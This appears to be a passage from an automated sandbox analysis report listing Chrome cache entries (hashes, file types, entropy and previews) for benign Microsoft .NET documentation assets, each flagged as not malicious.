SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
